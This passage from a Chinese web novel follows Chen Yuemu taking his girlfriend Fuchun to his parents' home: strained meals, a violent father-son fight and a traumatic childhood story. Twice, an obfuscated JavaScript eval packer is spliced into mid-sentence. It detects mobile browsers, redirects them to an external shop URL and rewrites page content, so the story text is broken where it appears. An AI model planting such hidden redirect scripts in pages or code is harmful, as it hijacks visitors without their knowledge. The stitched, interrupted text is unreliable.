屋子很大,巨大。夜晚只有廊灯亮着,看前面的道都跟没有尽头似的。 “你家真香。” “我妈喜欢用香薰。”陈悦目牵着她绕过二楼小厅来到一间屋子前,“你喜欢可以跟她要一点放我们那。” 房间门打开,他侧身做了个请的动作。灯打开灯照亮屋内,屋里有很多摆件和书,和陈悦目在学校那边的房子不同,这里的布置更像是一个十七八岁少年的房间。 福春走进去扑倒在床上。 “那算了,我可不敢跟她要。” 陈悦目拉上窗帘,坐在床边顺手拍一下福春屁股,两人刚要闹起来又被打断。 “少爷。”洪婶来到门口欲言又止。 陈悦目心下了然,从衣柜拿出一套睡衣丢给福春,“赶紧刷牙睡觉,洗漱东西放的位置和家里一样。”说完跟着洪婶出门。 屋内静悄悄,福春从床上坐起来翻起一本放在脚边的书。 外头传来说话声,她下床小心翼翼扭开把手,直直的一束光快到说话人跟前时便停止。福春看着站在楼梯边两个黑黢黢的人影。 “你带她回来干吗,又能改变什么?” 陈悦目语气淡漠:“嗯,确实不能改变什么。” 他改变不了他们,他们也别想改变他。 “听我一句劝,明天赶紧带人走!” “让她来不也是你们允许的吗?” “不允许难道你就不带她回来?” …… 福春合上门,懒得听他们车轱辘话来回念叨。 她环顾四周,新奇打量房间装潢。年少时的陈悦目似乎比现在活泼,地上,墙上放了很多玩具和画作。福春认得这些艺术品,好多T恤和包包上面都会印这些图案。她蹲下来摸了摸那幅太阳花,“是油画吗?” “是版画。” 陈悦目走进来蹲在她身旁,“喜欢可以带回家。” “你房间还藏着多少好东西?” “你慢慢看不就知道了?”他把人拽起来,“明天再看,赶紧换衣服。” 他们挤在洗手池刷牙洗脸又磨蹭了一阵,躺到床上时已经凌晨两点。 床是稍宽的单人床,两个人睡有点挤。福春没躺下前还闹着要玩一会,谁知一沾枕头就开始犯困,迷迷瞪瞪钻进陈悦目怀里。 “嗯,都是你的味道。” 房间里没有香薰味,床褥上都是陈悦目平时衣服上的味,是一种水洗透布料后放在阳光下暴晒散发的清香混着一点点松香的气味。 味道形容起来很复杂但是闻起来薄薄淡淡让人安心,福春有时睡不着就趴他身上闻一会,闻着闻着就睡过去了。 翌日,楼下传来嘈杂。 “穗子要绑起来,上次就洗坏一个又花六万重新买的这个。”陈母在楼下指挥人拆洗窗帘。 家中装潢颜色每隔一段时间就会换,窗帘、沙发、抱枕还有墙上的画都会重新调整搭配。平时都是陈母在操持这些,前阵子用的是红色,这阵陈父心情不好总是发脾气,陈母便把红色拆下来换成黄绿。 “洪姐,把厨房我修好的那果汁阳台送到楼上书房,剩下那瓶百合你在客厅里看着放。”陈母抱手站在门口盯着工人把沙发搬进来,嘴上还在嘟囔,“都是摆好的,随便放在哪都好看。” “是的,太太审美很好的。” 女人突然回头瞥一眼楼上,指着道:“还没起来?” 洪婶把花放在茶几上,起身走过去小声回答:“没有,昨天睡得晚。” “两个不是一起睡的嘛!怎么一个起得早一个睡到现在?”陈母一脸嫌弃,“懒鬼。” 楼梯处传来两声咳嗽,二人回头看去,福春穿戴整齐站在阶梯上,一脸假笑喊:“阿姨早!” * “快中午了还早呢!”陈母坐在岛台边嘀咕。 洪婶在做早饭,厨房榨汁机嗡嗡打汁。 家里除了陈父早上吃粥,其他人习惯吃西式早餐。陈家人一大早已经吃过饭,现在就差福春还没吃。 她要在陈母身边坐下,被女人赶紧使眼色轰人。洪婶恭敬说道:“给您拿上房间里吃,好吧?” 福春看看两人,默不吭声跟着洪婶上楼。 身后传来挑剔抱怨:“百合放在茶几上哪里好看?肯定要放到边边呀……” 陈悦目上午打完壁球回来,回房间见福春盘腿坐在椅子上看书。 “睡醒了?” “嗯。” 他这阵忽然变得爱运动,一周打三四次壁球,还会花两天泡在健身房。运动使人愉悦,运动完的陈悦目百依百顺盘靓条顺,尽管汗涔涔福春也喜欢得不得了。 “吃早饭了吗?” “吃了。”她拿起放在桌上用纸巾包好的吐司。 “见了我妈没有?” “见啦,阿姨人还怪好,让洪婶把早餐给我端上来吃。” “……我洗个澡,一会带你看一圈。” 福春笑眯眯点头,等人走后她微不可察叹口气又低头继续看书。 家里来客通常都是由洪婶根据客人口味拟个菜单然后交给陈教授夫妇过目,确定没问题再出去采购食材。 饭前大家聚在厅里打个招呼,吃饭时再聊聊天,饭后一起喝茶,这样一套下来才算正式见过。 陈母正在院子里喝茶,看见从客厅出来的两人满脸无奈。 “妈。” “别叫妈,我头疼。” 女人瞅着他们像根柱子似的杵在自己面前挥挥手道:“坐吧,站着干吗?” 陈悦目为福春拉开椅子。 “汤小姐是吧?”陈母抿一口玫瑰花茶,轻轻放下杯子,“之前咱们也算见过。” 洪婶又拿来两个杯子为他们斟茶,福春也有样学样跟着抿一口。 “还睡得惯吧?” “睡得惯,我不认床。” “你不认是一方面,我们家的床都是专门找人定做的。陈悦目随他爸,对睡眠要求高得很,一点不舒服都不行。”陈母说着看见花园外柯基摇屁股排排路过。她嘬嘬半天,手拍红了狗都没停下来。 女人悻悻垂下手,又若无其事看向远方,“破床睡一两天无所谓,睡久了伤身肯定不能常睡。” 蜜蜂嗡嗡地在院子到处打转,转来转去都是为了采蜜,谁会不知道呢? 陈悦目不爱喝茶,洪婶又给倒了杯黑咖啡。他顺便把面前的烤布蕾挪到福春手边,“妈,福春对家里的画好奇,你带她看看。” “你这孩子,怎么总是乱叫别人名字?” “都是自己人有什么关系?” 陈母剜一眼对面,把骂人的话憋在嘴里:“你带她看去吧,我一个老太婆说话又没意思,讲着讲着她会睡着的。” 福春让太阳晒得开始犯迷糊,想打哈欠又碍于陈母在场。为了不睡着她开始默默掐大腿,小动作被陈悦目尽收眼底。他默不作声把手伸下去与她十指相扣拿到台面上。 “这么见外以后怎么相处?婆婆和儿媳之间还要这样客套吗?” 陈母倏地瞪大眼,红红亮亮的一圈小嘴像一下子被烧弹开的扇贝露出里面白牙。 福春假装四处看风景,尽量不让自己掺和这糟心的家长里短。 “哎呀,哎呀……”陈母跟被人揍一拳似的使劲叫唤,“我头疼,不行我头疼。你快去找你爸。” * 陈父天还没亮已经起床。起来之后一直呆在书房,只有吃早餐的时候下来喝了碗稀粥。中间洪婶进去清理过一次茶台,然后被交代中午宴客把大闸蟹蒸上。 陈悦目带着福春进屋,见门口多了双皮鞋。 “洪婶,家里还有人来吗?” “是我。”楼梯处传来悦耳低沉的男音。陈父昂首站在楼梯上,说话的是旁边站着的俊秀青年。 楼上的人看着下面晃了晃神,等到陈父在旁边开口说话才把目光投向陈悦目。 “我在招待我的客人。” 陈悦目忽然揽住福春的腰,仰头对着上面:“爸,我带女朋友回来了。” 陈父扭头对旁边青年说:”一会留下吃饭。是你爱吃的大闸蟹。“ 陈悦目的介绍被无视,楼梯上下仿佛两个世界。他扯着福春问上面:“您觉得忽视就能解决问题吗?” 陈父终于回头看他,“我有你这个儿子和没你这个儿子已经没有区别。” “那就不要让我回来。” “你一次次让我失望,我对你的忍耐是有限度的。” “是吗?知道了。” “不知好歹!” “老师,身体要紧。”青年搀着陈父安抚,目光却三番四次瞟到福春身上。 豺狼盯肉什么眼神大家心里门清。福春清楚,陈悦目清楚,陈父更是清楚。 他故意把人叫来,知子莫若父,儿子的痛点就是用来被老子拿捏的。 “夏先生一早过来,当时您出去了。”洪婶熟练凑过来扯开话题。 青年和陈父从楼上款步而下,“你们不是同学吗?叙叙旧让汤女士也了解你的过往。” 陈悦目握住福春的力道瞬间加大。 四人站在一起,青年顺势向福春做起自我介绍:“夏良协,我跟着陈老师在北江财经大学学习。” “你这么大年纪还上学呀?”福春捏捏被握疼的手腕,无视夏良协伸出来的手。 “别自谦了。”陈悦目嘲弄,“她听不懂。” 夏良协哈哈一笑,解释:“即是学生也是老师,学海无涯,跟着陈老师让我获益良多。”他转头望着福春又正经做了遍自我介绍,“夏良协,目前在北江财经大学任教。” 陈悦目不屑扭过头,这暗戳戳的劲儿完全学习到他爸的精髓,甚至有过之而无不及。 福春不懂其中门道,但是能看懂这几人不对付,而且陈悦目还被压着打。 “我不懂那些,你别见怪。” 换成平时福春真的会心软他帮一把,可现在她泥菩萨过河不受待见,而且把她拉到这种境地的正是陈悦目。都这样了这混蛋依然扯着她踏进这场漩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“以前吃过螃蟹吗?” “吃过。”她笑道,“陈悦目带我吃过一回。跟大闸蟹不一样,不知道什么螃蟹。” 男人打量福春,手中用长柄斧拆掉蟹盖然后拿剪刀和刮子开始刮肉。 “你上过大学吗?” “我中专毕业,没上过大学。”福春坦坦荡荡。 陈父像没听见似的低头专心拆蟹肉。陈母只吃蟹黄,他便把装蟹黄的盘子推过去,然后把陈母挑出来的蟹肉拿走,配着清汤面一大口吃下。 “老师对师母真体贴。”夏良协说。 马屁不嫌直白,说到点上就是成功的马屁。 陈教授面色终于好看些。夏良协盛了勺芸豆百合,继续说道:“我就做不到把好东西拱手让人。” “夫妻之间要互敬互爱互谅,携手共进。认定对方是唯一与你走到人生尽头的伴侣。”陈父打蛇随棍上大谈夫妻相处之道。 “算了算了,在我看来婚姻就是一地鸡毛,如果太太像师母这样优秀或许还能试试。” 男人指着他大笑:“你们这群年轻人呀,光想着自己,贪图一时欢愉,一点也不为将来做打算。” “及时行乐也是一种生活态度,不要等到垂垂老矣才后悔莫及。”夏良协拿起自己的筷子夹住一块糖醋小排放进福春碗中,“所以我不仅不会把好东西拱手让人…… “见到好东西我还要抢过来。” 福春抬头,下一秒对方撤回目光又侃侃而谈起股市房价。 福春忽然觉得不自在,一扭头见陈悦目正睨着她,愤恨的眼神仿佛她敢吃那块排骨就把她撕烂。 福春来气,没胆冲挑事的急眼,把火撒到她头上算怎么回事?她故意慢慢地抬起筷子把肉送进口中,眼神挑衅。 午餐依旧继续。 陈悦目突然泄气,收回目光专注于自己盘子里那两只螃蟹。 自夏良协出现他就处在一种别扭的状态,厌恶又恐惧,像一只受到惊吓把头插在土里的鸵鸟。 见他这么窝囊福春也觉得没劲,索性低头吃螃蟹。 咣啷,刮子掉在地上。 声音不大,淹没在谈话声中,洪婶走过去捡起来又拿了把新的给陈悦目。 没想到陈父突然拍桌瞪眼,“不像话!东西收走,去给他把矫正筷拿过来。” 这突如其来的发难几乎是可以预料的,在场各位都不意外,就像是另一只靴子落地,反而让人感到踏实。 陈家父子每次见面必要吵架。 当着所有人的面洪婶把粉红色矫正筷放在陈悦目面前。 “洪姐,把大闸蟹给他收走。”男人语气不悦。 “可,可是少爷……” “我说收走,没听到吗?” 这是对陈悦目的惩罚,从小到大一贯如此。 陈悦目靠在椅背上,默不作声把拆好的蟹肉端起来交给洪婶。 “坐没坐相,吃没吃相。以前教你都白教了,像个未开化的野人。”陈父训斥他,“不知道跟谁学的这些上不得台面的习惯。” 像是回应这句似的,福春掰开蟹身狠狠嗦啰一口,声音在这鸦雀无声的大厅里尤为突兀。 大块蟹肉蟹黄连着壳被她嚼碎在口中咋咋作响,福春一边吃一边拿起盘中另一半蟹身递给陈悦目:“给你,吃吧!” 说完,她的视线与主位上的人在空中交锋。 23. 那幅画 饭后,福春经过厨房提出帮忙收拾。 “别别……小姐,我来。”洪婶惊慌,赶紧摘下手套把人推出去。 福春碰一鼻子灰,尴尬地晃悠到冰箱边上,在一排整齐的冰箱贴中看见和家里一模一样的猫头鹰冰箱贴。 “这里也有猫头鹰。”她开心地把合成一对的猫头鹰扯下反过来贴。 陈父不知何时来到她身后。夏良协午饭过后就走了,这时家中只有她一个外人。 福春回身,见他与陈悦目近乎一样的身姿静静站立。 “为什么想要反着放呢?”男人的手越过她,将猫头鹰扯下,“凡事要有规矩,正是正,反是反。正反不能乱,顺势而为才能安富尊荣。” “一个冰箱贴而已,至于吗?”福春问。 “所有的大事都是由无数件小事组成。”陈父昂首站在厨房,挺拔的身躯让空间显得狭小。他眼神轻佻蔑视,高高在上教育福春:“细节决定成败。” 男人趁说话的时候目光滑过福春身躯,好皮囊里装着干草垛,如果不是陈悦目,陈大教授绝对懒得和她多费唇舌。 “可是陈悦目喜欢把它反着贴。” 他并不着急回答,而是将手中猫头鹰又反着贴回去,等到陈悦目从楼上下来两人目光聚焦在他身上。 水流声不断,三人站在厨房。 等待咖啡的间隙,陈悦目走到冰箱前。 这是一次实验也是一次较量。 手伸出,猫头鹰被扯下。福春紧紧盯住那只手。 高手过招瞬息万变也只在眨眼之间决出胜负。 啪! 两只猫头鹰正正好合在一起。福春诧异瞪视对面,得到陈悦目冷淡回应。 “干吗?” 水声停下,他转身端起咖啡静静上楼。 这是非常好的一课,漂亮的课不需要教师多费唇舌。三分道理七分实践,生活教学生做人。 “你看,就算不喜欢他也会按照正确形式摆放。” 陈教授志满意得离去。 * “我带你逛逛。”回到房中,陈悦目早已站在里面等待。 福春没什么兴致,一倒躺在床上,对于刚才种种憋了一肚子火,“窝囊废。” 这里就像个高压锅,人住久了迟早扭曲。福春本不想掺和陈家的事,可陈悦目偏偏要将她拖进来,不仅拖进来还把她拖进旋涡中央,弄得现在骑虎难下。 陈悦目恍若未闻,坚持要带她下楼。 “我不去!” 她的手腕被箍住拖拽起来,福春死命地捶打,腰被抱住动弹不得,没一会吻便落在脸上。 “放开我。” 陈悦目一语不发,双手捧住她的脸,只将吻细细密密落下。 “你是故意的。” 他们总是以性来掩盖矛盾。 福春放弃般地纵容他在自己身上亲吻,手搂住他的脖子将两人一起带倒在床上。 “你就是故意的。”她喃喃,脸露出一半在被窝外,被陈悦目用手指轻刮,“我什么都没做。” “带我来这的目的是什么?” “吃大闸蟹。” 福春抄枕头砸他。 “再装一个。” 陈悦目起身,目光真诚:“我带你参观我家。” 「艺术是生活的镜子。」 陈家艺术气息很浓厚。书、画到处都是,多却又不显得凌乱,和装潢搭配浑然天成散发着一股高雅劲儿。 “这是漆画。” “我以为是油画呢!” “油画系教授画的,可能融入了油画技法所以看着像。” 福春把脸抬起来,站直,“这画值多少钱?” 陈悦目想了想:“超过一米的大概五十万上下。” “这么多?!赶上画家了。” “本来就是。”他笑道,“很多艺术家本身也在高校任教。” 两人沿着走廊向前。 “怪不得你家能买到画。艺术家多清高呀,想买还不一定卖你呢!” “艺术家才不清高,给够钱让画什么画什么。 “再说这些画都是送的,没花钱。” 福春转头,见对方继续道:“靠资源置换,画要有人买才有价值,我爸就是那中间商。” 不提每年来读mba的企业家,光是会议,培训认识的三教九流都不知道有多少。送到嘴边的肉,只要愿意张口就能吃得满嘴流油。 油画漆画在陈悦目家不算多,最多的是水墨画和书法,毕竟比起抽象的色彩企业家更喜欢在办公室挂一幅“难得糊涂”。 画只是他们家最不起眼的一角,再往下甚至陈悦目都不太清楚。 所以当初他放弃沃顿商学院跑到英国读哲学才会把陈父气得暴跳如雷。哪怕读个野鸡大学金融专业陈教授都有办法把手头的资源过到陈悦目手上。 “画我真看不懂。” 知道画漂亮已经是福春鉴赏能力的极限,看多了没了惊喜也就那样。 她把注意力放在拐角的一面墙上,上面都是摄影作品。画她看不懂但是摄影拍出来的事物都是实打实的,至少她能认出来里面是个人。 “呦,怎么光屁股叠一块了?” 她指着一面墙的照片,十几张拍摄的都是同一个场景。只有角度和人物动作有些微不同。但场景足够荒诞震撼,使得每张照片都充满张力。 “这是我的收藏。” “难怪。”这风格放在那老古板身上格格不入,如果是陈悦目的话就不稀奇。 “这是行为艺术。”陈悦目咬住福春耳朵告诉她作品名字。 说完两人会心而笑。 “名字就跟你这人一样奇怪。” “是荒谬。”他俯下身亲吻她的唇瓣,“AbsurdityisKing,butlovesavesusfromit.” “什么意思?” “你知道的。” “我不知道。” “荒谬当道,爱拯救之。” “……没听说过。” “你问我带你来家里的目的,我想说了你愿意听吗?” 咳嗽声打断谈话,福春瞥见陈悦目身后呀地叫了一声。 陈父依然身姿笔挺,双目被阴影遮盖,神情严肃对陈悦目说:“你跟我上楼。” 没有陈悦目,福春也没兴致闲逛。她走到楼梯边,陈母早已站在那里。 楼上渐渐传来争吵。 女人手搭上栏杆见怪不怪的语气对她说:“听见了吧?” 陈母的红指甲上几乎与木头融为一体,手又好似一团白面,白晃晃的十分显眼。陈悦目的肤色遗传了他母亲,比别的男人白上好几度。白嫩白嫩又劲劲儿的,看起来特别让人想欺负。 福春收回目光,听见陈母冷言冷语:“你满意了?” “不是我让陈悦目带我来的。” “来都来了。”陈母哼了一声,“聪明的就要有自知之明,知道自己多少身价别贪得无厌绝了后路。” 楼上吵闹声越来越大,隐隐还传来桌椅碰撞。 福春抬头注视上方,让陈母一人在那自说自话。 “陈悦目在这个家根本做不了主。”她双手捧着茶杯望向杯中漂浮的花骨朵,“现在就是没结婚允许他玩玩,等找到合适的对象就马上安排结婚。路都已经为他铺好的,包括以后工作调动,房子,孩子的学校这些。他什么都不用管,照着做就成。” 陈母长吁:“小孩叛逆总想走自己的路,可是他走来走去就会发现父母给他的路是最舒坦的。” 说完她望着福春,发现对方置若罔闻,眼睛一眨不眨看着楼上居然在嘟囔:“不会把人打死了吧?” “喂,我说话你没听见吗?”陈母皱起眉头,想把茶杯摔桌上却发现周围没桌子只好在楼梯上磕两下,“你居然无视我?!” “我听懂了。”福春回答,“陈悦目以后要找人结婚。” 她慢慢踏上阶梯语气担忧:“这动静对吗?把人打死了还怎么结婚?” 咣! 玻璃碎裂声炸出门缝。两人一惊,随即上楼冲进书房。 房内一片狼藉。玻璃渣碎了满地,只有书柜边角还残留碎裂玻璃块。陈悦目脸颊挂彩,被陈父压在书桌上。桌上笔墨纸全部扫到一边,好好的老坑砚居然掉在地上摔掉一个角。 “哎呀!你们在干什么!”陈母瞠目结舌,指着陈父,声音都在发颤,“你,你……” 缓过神,她走上去抢来奖杯扔在地上,狠狠捶打男人胸口,“你想杀死他啊!!” 陈母哭出声来:“他是你儿子呀!你疯了你个混蛋……” 陈教授不耐烦推开身前人,“别烦我。” 他理好衣衫,像变了个人似的优雅站在那,仿佛自己也刚刚看到这狼藉的场面先一步指着他们,“你们太不像话了。” 陈母和福春傻住,一时间不知作何反应。陈悦目瘫倒在桌上喘气。 “我说过我的忍耐有限度。”男人冷静陈述,“难道要把爱你的父母逼到发疯你才满意吗?” “虎毒不食子!”陈母还沉浸在方才震撼的场面中,如果不是到的及时,恐怕手里那座奖杯已经将自己儿子的脑袋砸碎。 “我教训儿子还轮到你管?”陈父转身大怒,“你要是能教好至于让他这么没出息吗?” 他理了理袖口,狠狠瞪着在场的人:“这都是你们逼的。” 陈父离去,留下沉默的三人。 陈悦目坐起来,麻木而平静:“我问他洗头妹这么好,凭什么他找了不让我找。” 他火上浇油把最后一丝体面掀掉。 陈母大叫,发了疯又把屋里砸得更烂,陈悦目嗢噱。 等人走后,福春来到陈悦目身边,他看向窗外缄默不语。 外面风和日丽,谁能看出气派的别墅里早已破烂不堪。 洪婶敲门进来,默默收拾不敢多说一句。 窒闷的空气压在他们身上,陈悦目步履蹒跚被福春掺着走回自己房间,每一步都压在木地板上发出声音,像他们骨头的嘎吱作响。 福春把他按在椅子上,“衣服脱了。” 她弯腰撩起他的衣摆,手指滑过他身上的淤青,把脱下来的T恤在垃圾桶上仔细抖落一遍然后放在门口等着洪婶来收。 陈悦目呆滞坐在那任由摆布。 手指触上他的伤口,这双手抚摸过他无数次,他闭上眼,痛并快乐着追逐那细腻温热的触感。 “抱着我。” 福春把他搂进怀里,像母亲搂着孩子。 “答应过要带你看看家里。” “不看了。” “我房间里画还没带你看过。” “那些摆在地上的,你不在的时候我就悄悄看过。” 陈悦目笑了笑,脸在她怀里蹭着,嗅她身上的味道。他是这么迷恋这副身躯,恨不得把她融进自己的血肉。 “还有一幅画你没见过。” 书桌下有个抽屉带锁,钥匙就放在窗台仙人球下面。 陈悦目拉开抽屉,从里面拿出一张未画完的画。 纸是普通的素描纸,用的蜡笔画的,还很鲜艳。但是画得不怎么样,是小孩简笔画水平。 “没画完呢。”福春摸摸几乎掉光的铅笔稿,“这又是哪个大师画的?” “是我画的。” 她并不意外,静静等待陈悦目继续说下去。 “那天开放日,他们答应我会陪我画完。” 陈悦目的手摸在画中央的蜡笔小人上,左右两边的铅笔极淡可是笔刻出的划痕清晰印在纸上。 “我是为了挽救一场失败婚姻生出的产物。” 陈悦目的父亲是他外公的学生。一次讲座偶遇让母亲对他一见钟情,两人就此相识结了婚。 有了婚姻的加持陈父在事业上步步高升,日子也越来越富裕。人满足了温饱之后就会想要更多。所谓饱暖思y欲,陈父也不例外。 他在陈母怀着陈赏心的时候就开始出轨。男人起先还会胆怯,到后来外公去世陈母无依无靠他就大胆起来,直接当着陈母的面说她不能再满足他了。 那时候陈母一个人带着孩子回到筒子楼,两人基本就差拿张离婚证。 “后来为什么又不离婚了?”福春摸着陈悦目耳朵,带着点哄小孩的意味。 “是呀,为什么不离婚呢?”离婚了就不会有那么多痛苦。 陈父花天酒地的日子过得多了偶尔也会想念平稳踏实的住家生活,加上陈赏心在学习方面展露惊人天赋,陈父为了女儿也时常回到筒子楼看望母女。 那时是一家三口最快乐的时光。陈母也萌生为这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137954|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段婚姻再努力一次的想法。不仅是因为感情也是因为事业。陈母不想因为离婚的缘故在事业上受到无端肘掣。 明明错的是男人,这个社会也会拿放大镜在女人身上挑错堵住她升迁晋职的路。 还有分财产也是个问题。要的多一定会被指责是贪心,只有带着孩子净身出户才能证明自己的高洁。 犯错的时候人们总会说:“男人嘛!”挣功的时候却说:“只是个女人。” 陈父甚至不用说什么,这个社会已经用大棒加胡萝卜帮他把一个女人驯服好了。 可是出轨只有一次和无数次,人的欲望是无止境的。陈父依旧在外面花天酒地。陈母为了栓住陈父又怀上陈悦目。 “孩子能栓住的只有女人,蠢女人才会妄想用孩子栓住男人,呵呵。” 陈悦目又窝在福春怀里,一只手攥住她的食指,像婴儿攥住母亲的手。 感情的折磨加上怀孕的摧残让陈母患上产后抑郁。生下陈悦目后陈父为她找了干部疗养院修养。 陈悦目从小就是保姆带大的。 “可是你看起来跟洪婶也不怎么亲。” “不是洪婶。”陈悦目继续说道,“是我爸在外面找的小三。” “是个洗头妹。” 男人是一旦你纵容他他就会在你头上拉屎的狗东西。陈父当年如日中天,无所畏惧。那时就连舅舅做生意也要仰仗他的鼻息。他是当之无愧的一家之主,于是为了照顾还在襁褓中的陈悦目,他把其中最温顺没主见的情妇带回家里。 “我什么都不知道。自打有记忆起就是那个女人在照顾我,我把她当我亲妈。”他的第一声妈妈就是对那个女人喊的。 她不完美,但是对陈悦目无微不至。 除了陈父之外没有人知道她来陈家之前的过往,所以陈母从疗养院回来的时候一家人相处得甚是和睦。 “我就像这样常常躺在她怀里听着心跳声睡觉。” 一个人精力有限,陈母的关注都放在优秀的陈赏心身上。陈悦目是她挽回感情失败的产物,她差点把命都搭上也换不来丈夫回头,于是她再也不想见到陈悦目。 陈悦目自然和带大他的那个女人更亲近。在与陈悦目情同母子的生活状态下女人的母爱被唤起,她不想再继续与陈教授这段不伦关系却十分想要个孩子。 最终她如愿怀孕,但是被陈母发现。 陈父无耻的做法激起陈母的怒火,两人在家里大打出手,情妇在推搡中摔倒流产,从此精神崩溃。 陈母意识到自己的东西不能让别人抢走,亢奋精神使出浑身解数守护她的财产。 就这样,保姆赶走了,陈悦目有了爸爸妈妈。 “幼儿园开放日那天所有人都来了。我把满分作业拿给他们,墙上我的小红花贴了长长一排。” 父母陪他做活动,他们手牵手在广场上用蜡笔画下我的家。为了画好这幅画陈悦目练了很多次,他熟练地用铅笔打好草稿,然后他们一起在纸上画上天空,画上绿草地。 陈悦目认认真真画着自己和姐姐。 “老师要一对一和父母汇报学习情况,轮到我时他们被叫进室内。” 然后陈父陈母告诉他等会再陪他一起把这幅画画完。 福春看着那画了一半的画默默叹气,又把怀里的人紧了紧。 陈悦目继续用淡漠的语气说:“那个女人也来了,远远站在角落。” 她小声唤陈悦目的名字。 “陈悦目,陈悦目……” 陈悦目小心翼翼走去。女人的脸蜡黄疲惫,身上的套装凑近看也相当粗糙廉价,她的身上散发一股苦臭,不再像以前那样香香的。 “你怎么了?”陈悦目问。 女人靠近,神情复杂。她颤抖着双手试探将他抱在怀里,他又听见那熟悉的心跳。 扑通,扑通…… 他听着福春的心跳,那么温暖,让人心安,想让他钻进她的皮肤,随着血液流淌拥抱她的心脏。 扑通,扑通…… 陈悦目闭着眼。 “叫我妈妈。” “你是保姆。” 他怎么可能不知道自己亲妈是谁。趁他睡觉在旁边和他爸做/爱的女人,称呼她保姆已经留了面子。 急促的心跳回荡耳边,眨眼间那女人抱着他来到顶楼。 四周都是白茫茫的天空,下面传来尖叫声,哭泣声和警笛声。 再多他就记不住了。 “只有那段记忆很模糊,明明我其他事都记得很清楚。” 陈悦目强迫自己想起来,能想起的只有天台刮在脸上的风,四处都是。 他头痛欲裂,站起来把福春压在桌上。 他一出生就在这种稀烂狗屎一样的环境下长大,那个女人死后更是没有人肯施舍他一点爱。母亲后来陪着姐姐去了北京,陈悦目只能和父亲一起生活。女人的死让陈父不得不收敛,但满腹欲望怎么可能凭空消失?这些不过都转化成恶意发泄在陈悦目身上罢了。 陈悦目知道自己也不是什么好人,懦弱,自私才是他的本质。这样的他才和福春是相配的,他们之间不需要谁仰望谁,肉ti和金钱交织搭建的结实关系牢牢将他们锁住。 和福春在一起,他可以尽情释放自己,把人性的卑劣面展露给最亲近的人才是最大的幸福。 反正福春会包容他,包容一切。 陈悦目的手扶在福春腰上,触摸让她从尾巴骨开始打颤,耳朵里朦朦胧胧传来声音。 “你是不是觉得我在等这张画完成很可笑?你知道更可笑的是什么吗?这么多年我都不敢离开他们。” 他可以逃的,可还是回来了。像条狗一样守在他们身边。 “是不是很好笑?是不是!” 福春张着嘴像离水的鱼,哪怕一个字,一个音节也好,声音被噎在喉间鼓胀成一团。 像丑陋锋利的岩石破开清澈明朗的溪水,她仰起脸,痛苦承揽一波又一波,被迫与陈悦目感同身受。 福春泪眼朦胧,皮肤源源不断散发着温暖,接纳一切。 “你什么都不懂。” 温热的呼吸围裹那个受伤的灵魂,一股强大而无法抗拒的力量让人无处可躲。 就像…… 陈悦目颤抖。 一束阳光照在书桌,照亮福春柔韧疲惫的躯体。 24. 五分钟 第三天,风和日丽。 陈父一大早去学校,出门时碰见陈赏心把女儿送来而后匆匆离开。陈母早上五点就醒了,和洪婶一起吃完早餐就呆在书房练字。 陈家人起得很早,除了陈悦目。 风从窗户小缝吹进来撩动书页。纸张摇摆声淅淅沥沥传入耳中。 福春睡醒,下意识在怀抱中找到舒适的位置。 “还睡吗?” 她睡眼惺忪,手比脑子更快用拇指碾在眼前薄而嫣红的唇上。 陈悦目含住她的拇指,任由她在口中翻搅。 这张嘴,福春喜欢得不行。 窗外传进孩童认真而欢乐的声音:“每个冬天的句号——都是春暖花开!” 福春骑在陈悦目身上,“是谁来了?” “是佳佳,我姐姐的孩子。”陈悦目反把人压在身下,“是个小机灵鬼。” 他趴在福春身上,说话时温温地气息吐在她耳廓,“你喜欢孩子吗?” “喜欢啊!” “想要吗?” “没想过。” “现在想。” “想这干嘛?” 读书声又大了些。 “我们可以知道爱会带来什么样的痛苦,却不知道爱究竟为何。在此它对我而言是剥夺、懊丧、两手空空。我不再有冲动;剩下的只有焦虑。” 一座看起来像天堂的地狱。还是地狱。 陈悦目起身,推开窗探头朝院子喊:“佳佳,念什么呢?” 女孩扬起手里的书大声问好。 上午十一点,邻居的五只柯基准时出来散步。 陈母在书房听见狗叫欣喜下楼,去到院子发现福春和自家小孩正蹲在一起玩狗玩得不亦乐乎。 “佳佳!” “姥姥,你把狗狗吓跑啦!” 陈母拽住小孩子躲得远远的,又急又慌:“佳佳咱们不跟那些不三不四的人凑一块。” 遛狗的佣人面露尬色,扯动手中绳子要把狗牵走,五只柯基却一直打转怎么也拉不动。 福春站起来抻个懒腰从容解释:“她说我呢!”她随手一拍狗屁股,调皮捣蛋的毛孩子重新安静下来。 狗被牵走,陈母翻个白眼,把佳佳搂到身后警惕瞪着福春。 “你要在这赖到什么时候?” “是陈悦目不让我走。” 陈母顾忌体面,思来想去扭头叫来洪婶指桑骂槐训斥她没把孩子看好。 福春笑呵呵站那听着,等对面训完还对佳佳补一句:“姥姥说得对,不要随便和陌生人说话,被拐到山沟里关着就见不到爸爸妈妈了。” 这话阴阳怪气,陈母拉着佳佳进屋再也不想见到福春。她把佳佳放在书房,转身找陈悦目算账。 祸害是他带回来的,现在居然撒手不管。 陈悦目起床之后便不见踪影,陈母找了一圈最后气哄哄坐在院子跟人打电话诉苦。 这些年她净和太太圈的人打交道,早没了年轻时那股劲头。每天和人拉闲散闷攀富结贵,说的全是谁家的胖闺女买两件香奈儿叫老裁缝拼成一件这种鸡零狗碎的事。 陈母对着电话大吐苦水:“我跟你讲,那个狐狸精真不简单……” 一股奶香飘来,她以为是洪婶端来做好的茶点,扭头发现福春正拿着曲奇笑眯眯站她身后。 “哦呦,见鬼了!”陈母挂了电话,心虚一秒又立刻趾高气昂,“你来干什么?” 